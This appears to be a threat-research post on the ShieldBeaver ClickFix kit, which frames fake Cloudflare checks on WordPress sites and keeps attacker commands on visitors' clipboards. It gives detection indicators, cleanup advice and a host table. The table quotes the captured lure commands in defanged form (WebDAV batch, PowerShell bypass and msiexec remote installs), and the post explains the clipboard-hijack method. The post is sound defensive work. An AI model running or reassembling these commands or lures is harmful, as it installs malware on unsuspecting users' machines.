ShieldBeaver ClickFix kit

ShieldBeaver is a ClickFix kit that frames a fake Cloudflare check over a WordPress site and keeps its command on the visitor's clipboard. We have matched it on 320 sites since 2 August.

Research by Kirk

ShieldBeaver in numbers

Since 2 August, the first ShieldBeaver match in our records, counted on 12 November 2026. How we count.

Sites with ShieldBeaver code	320
Sites with a match in the last 30 days	158
New sites in October	68
Still serving it when recaptured at least 25 days later	126 of 160 sites (79%)
Sites running WordPress (captured since 25 September)	87%

One application behind several WordPress paths

ShieldBeaver is a fake verification application found in several WordPress delivery forms. Early captcha-loader.js copies share the same named functions and nearly identical JavaScript. A later framed page shares many of those functions, including identical renderKey code and the same verification-cookie and help-panel functions.

The bridge places a same-site frame over WordPress

The short bridge runs for Windows visitors who lack its cf_clearance cookie. It adds a full-page cfcw-overlay and opens the site's own ?cfcw_captcha_page=1 route in an iframe with clipboard-write permission. When the page sends cf-captcha-verified, the bridge sets the cookie and removes the prompt from later visits.

Other copies load captcha-loader.js from plugin directories. One stores the command in the script. Another requests it from admin-ajax.php with the action cf_get_shield_text. A minified copy from a fake cf-security-shield plugin, captured on 12 November 2026, holds no command at all: it copies whatever the AJAX reply contains, so the script shows the Win+R steps and nothing to run. Standalone verification pages have also appeared as captcha.html inside a plugin directory.

The page keeps its command on the clipboard

The framed lure starts with a Cloudflare-style checkbox. A click writes the configured command through a hidden textarea, and a document-level copy listener writes it again whenever the visitor copies something else. The page then opens a window titled "One-Time Device Verification" and animates Win+R, Ctrl+V and Enter.

The interface changed more than the workflow. One direct captcha-loader.js copy carries 28 language dictionaries and copies its command when the visitor continues. A framed copy carries six translations and starts from the Cloudflare checkbox. Commands rotated among PowerShell launchers, WebDAV batch or script paths and msiexec /i installer commands. The verification application around those commands stayed the same.

What we see

Month	New sites
September	147
October	68
November so far	17

Of the 160 sites recaptured at least 25 days after their first match, 126 were still serving ShieldBeaver (79%). 87% of ShieldBeaver sites captured since 25 September run WordPress.

Checking the bridge and application

Inspect logged-out HTML, WordPress files and cached responses for:

cfcw-overlay and ?cfcw_captcha_page=1
an iframe with allow="clipboard-write"
captcha-loader.js or captcha.html in an unfamiliar plugin directory
the action cf_get_shield_text, or a cf-security-shield plugin you did not install
One-Time Device Verification, renderKey or handleContinueToVerification
a document-level copy listener that replaces clipboard text
cf-captcha-verified and a cf_clearance cookie set by site JavaScript

Remove the bridge, the framed route, the application files and cached copies together. Review WordPress administrator and hosting access because changing only the visible page leaves the delivery path in place.

Hosts its commands download from

ShieldBeaver lure commands we captured download from 17 hosts. These are the 10 on the most sites.

Host	Sites	Last seen	Latest command
`94[.]156[.]170[.]255`	99	12 November 2026	Command `cmd /c net use Z: hxxp://94[.]156[.]170[.]255/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete` URL `hxxp://94[.]156[.]170[.]255/webdav` First seen 7 September 2026, 1 URL on this host.
`185[.]246[.]223[.]71`	97	12 November 2026	Command `cmd /c net use Z: hxxp://185[.]246[.]223[.]71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete` URL `hxxp://185[.]246[.]223[.]71/webdav` First seen 30 September 2026, 1 URL on this host.
`144[.]31[.]47[.]76`	43	12 November 2026	Command `cmd.exe /c net use Z: hxxp://144[.]31[.]47[.]76/webdav /persistent:no && powershell -ExecutionPolicy Bypass -File` URL `hxxp://144[.]31[.]47[.]76/webdav` First seen 7 September 2026, 1 URL on this host.
`activityof[.]com`	38	12 November 2026	Command `msiexec /i hxxps://activityof[.]com/datei /qn` URL `hxxps://activityof[.]com/datei` First seen 7 September 2026, 1 URL on this host.
`kloudtechnology[.]in`	32	11 November 2026	Command `msiexec /i hxxps://kloudtechnology[.]in/step /qn` URL `hxxps://kloudtechnology[.]in/step` First seen 6 September 2026, 1 URL on this host.
`rewardgoldshop[.]com`	26	12 November 2026	Decoded URL URL `hxxps://rewardgoldshop[.]com/q` First seen 1 October 2026, 1 URL on this host.
`trulynolenmacedonia[.]mk`	16	11 November 2026	Command `msiexec /i hxxps://trulynolenmacedonia[.]mk/auth` URL `hxxps://trulynolenmacedonia[.]mk/auth` First seen 7 September 2026, 1 URL on this host.
`www[.]rjccabinets[.]com[.]au`	11	11 November 2026	Command `msiexec /i hxxps://www[.]rjccabinets[.]com[.]au/redirect` URL `hxxps://www[.]rjccabinets[.]com[.]au/redirect` First seen 6 September 2026, 1 URL on this host.
`rangenine[.]com`	7	12 November 2026	Command `msiexec /i hxxps://rangenine[.]com/assets/verify` URL `hxxps://rangenine[.]com/assets/verify` First seen 7 September 2026, 2 URLs on this host.
`bnsbackend[.]mydevsystems[.]com`	5	11 November 2026	Command `msiexec /i hxxps://bnsbackend[.]mydevsystems[.]com/redirect /qn` URL `hxxps://bnsbackend[.]mydevsystems[.]com/redirect` First seen 7 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.